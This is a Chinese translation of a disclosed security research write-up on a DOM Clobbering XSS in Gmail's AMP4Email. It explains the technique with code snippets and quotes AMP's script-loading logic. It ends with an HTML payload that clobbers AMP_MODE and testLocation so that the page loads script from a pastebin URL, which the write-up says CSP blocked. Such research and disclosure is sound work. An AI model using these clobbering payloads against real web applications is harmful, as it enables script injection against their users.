研究人员对Gmail中通过DOM Clobbering针对AMP4Email的XSS漏洞进行了分析。
2019年8月,研究人员发现了AMP4Email的XSS漏洞,并提交给Google。该XSS漏洞是浏览器漏洞利用DOM Clobbering的一个实例。
AMP4Email (也叫动态邮件)是Gmail中的一个新特征,使得邮件中可以包含动态HTML内容。一般都认为HTML中指含有静态内容,如格式、图片等,没有脚步或表单。AMP4Email就是这样一个允许在邮件中显示动态内容的功能。Google在G Suite博客中,对动态邮件的描述为:
这个新特征引发了很多明显的安全问题,最重要的一个问题就是XSS。如果在邮件中允许动态内容,就是说很容易就可以注入任意的JS代码。但事实并非如此。AMP4Email 有一个强大的验证器,其中包含了动态邮件中允许的tag
和属性的白名单。还可以在https://amp.gmail.dev/playground/ 上发送邮件给自己来做测试。
图 1. AMP4Email playground
如果用户尝试添加验证器不允许的HTML元素或属性,就会收到一个错误消息。
图 2. AMP验证器不允许任意的脚本标签
研究人员在测试过程中也尝试了很多绕过验证器的方法,最后研究人员注意到tag中并没有禁止id属性,如图3所示。
图 3. 验证器允许id属性
因为创建用户控制的id属性的id元素可能会引发 DOM Clobbering,因此研究人员开始进行安全分析。
DOM Clobbering说web浏览器的一个特征,在许多应用中都会引发问题。在HTML中创建元素,然后想要从JS中引用时,需要使用一个类似document.getElementById('username')
或document.querySelector('#username')
的函数。但这并非唯一的方式。
通过全局窗口对象的属性也可以访问。
所以window.username
与document.getElementById('username')
是相同的。如果应用根据特定全局变量做出决定的话,就可能会引发漏洞。
进一步分析DOM Clobbering,假设有下面的JS代码:
if (window.test1.test2) { eval(''+window.test1.test2) }
要评估只用DOM Clobbering技术的任意JS代码。研究人员需要解决以下2个问题:
首先看第一个问题。解决这一问题的唯一办法就是使用 <form>
tag。每个<form>
tag的<input>
作为<form>
的属性时的属性名要与<input>
的名字属性相等。如下所示:
<form id=test1> <input name=test2> </form> <script> alert(test1.test2); // alerts "[object HTMLInputElement]" </script>
为了解决第二个问题。研究人员创建了一段JS代码可以循环HTML中的所有元素,检查其toString方法是否来自于Object.prototype或以其他方式定义。如果并非继承于Object.prototype
就会返回[object SomeElement]
之外的一些东西。
代码如下所示:
Object.getOwnPropertyNames(window) .filter(p => p.match(/Element$/)) .map(p => window[p]) .filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
代码返回了2个元素:HTMLAreaElement (<area>)
和 HTMLAnchorElement (<a>)
。第一个元素在AMP4Email中是不允许的,所以看第二个元素。在<a>
元素中,toString
返回的是href
属性的值。如下所示:
<a id=test1 href=https://securitum.com> <script> alert(test1); // alerts "https://securitum.com" </script>
此时可以发现,如果要解决前面提到的问题,就需要如下的代码:
<form id=test1> <a name=test2 href="x:alert(1)"></a> </form>
但是并不成功。<input>
的元素可以变成<form>
的特征,但对<a>
却不适用。
有两个相同id的元素:
<a id=test1>click!</a> <a id=test1>click2!</a>
在访问window.test1
时,研究人员其实是想获取含有该id的第一个元素,但实际上在Chromium中,研究人员获取的是HTMLCollection
。
图 4. window.test1指向HTMLCollection
有趣的是研究人员在HTMLCollection
可以通过index和id来访问特定的元素。
也就是说,window.test1.test1
其实引用的是第一个元素。设置name属性也会在HTMLCollection中创建新的特征。所以就有了如下代码:
<a id=test1>click!</a> <a id=test1 name=test2>click2!</a>
还可以通过window.test1.test2访问第二个元素:
图 5. window.test1.test2
通过DOM Clobbering来利用eval(''+window.test1.test2)
,解决方案就是:
<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>
AMP4Email 中DOM Clobbering是如何在现实场景中利用的呢?
前面已经提到AMP4Email已受到DOM Clobbering攻击,只需要添加自己的id属性到元素中就可以了。为了找到有漏洞的条件,研究人员决定看一下窗口的属性,如图6所示。
图 6. Window全局对象的属性
可以看出,AMP4Email其实使用了一些针对DOM Clobbering的保护机制,因为他严格限制id属性的特定值,如AMP。
图 7. AMP是id的非有效值
AMP_MODE却没有相同的限制。所以,研究人员准备了代码<a id=AMP_MODE>
来看看会发生什么
图 8. 加载特定JS文件的404错误
研究人员发现了如图8所示的错误。图8中,AMP4Email尝试加载JS文件,但是在URL(https://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js )中并没有定义。只有一个解释,那就是AMP尝试获取AMP_MODE的属性并放在URL中。由于DOM Clobbering,期望的属性丢失了,所有没有定义。代码如下:
f.preloadExtension = function(a, b) { "amp-embed" == a && (a = "amp-ad"); var c = fn(this, a, !1); if (c.loaded || c.error) var d = !1; else void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'), c.scriptPresent = !!d), d = !c.scriptPresent; if (d) { d = b; b = this.win.document.createElement("script"); b.async = !0; yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a); b.setAttribute("data-script", a); b.setAttribute("i-amphtml-inserted", ""); var e = this.win.location; t().test && this.win.testLocation && (e = this.win.testLocation); if (t().localDev) { var g = e.protocol + "//" + e.host; "about:" == e.protocol && (g = ""); e = g + "/dist" } else e = hd.cdn; g = t().rtvVersion; null == d && (d = "0.1"); d = d ? "-" + d : ""; var h = t().singlePassType ? t().singlePassType + "/" : ""; b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js"; this.win.document.head.appendChild(b); c.scriptPresent = !0 } return gn(c) }
下面是对代码解混淆的结果:
var script = window.document.createElement("script"); script.async = false; var loc; if (AMP_MODE.test && window.testLocation) { loc = window.testLocation } else { loc = window.location; } if (AMP_MODE.localDev) { loc = loc.protocol + "//" + loc.host + "/dist" } else { loc = "https://cdn.ampproject.org"; } var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : ""; b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js"; document.head.appendChild(b);
在第1行,代码创建了一个新的脚本元素。然后检查AMP_MODE.test
和window.testLocation
都是真实的。如果是,AMP_MODE.localDev
也是真实的,然后使用window.testLocation
作为生成脚本URL的基础。然后第17和18行,将一些特征拼接起来形成完整的URL。由于DOM Clobbering
,就可以完全控制整个URL。假设AMP_MODE.localDev
和AMP_MODE.test
是真的,那么代码就可以简化如下:
var script = window.document.createElement("script"); script.async = false; b.src = window.testLocation.protocol + "//" + window.testLocation.host + "/dist/rtv/" + AMP_MODE.rtvVersion; + "/" + (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") + "v0/" + pluginName + ".js"; document.head.appendChild(b);
只需要加载window.testLocation.protocol
。然后是最后的payload:
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy--> <a id="AMP_MODE"></a> <a id="AMP_MODE" name="localDev"></a> <a id="AMP_MODE" name="test"></a> <!-- window.testLocation.protocol is a base for the URL --> <a id="testLocation"></a> <a id="testLocation" name="protocol" href="https://pastebin.com/raw/0tn8z0rG#"></a>
但是由于AMP的内容安全策略,代码并不会真正的执行:
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
研究人员并没有找到绕过CSP的方法,但是在这个过程中,研究人员找到一种绕过基于目录的csp的方法。
文中研究人员证明了在特定条件满足的情况下如何利用DOM Clobbering来执行XSS攻击。
https://research.securitum.com/xss-in-amp4email-dom-clobbering/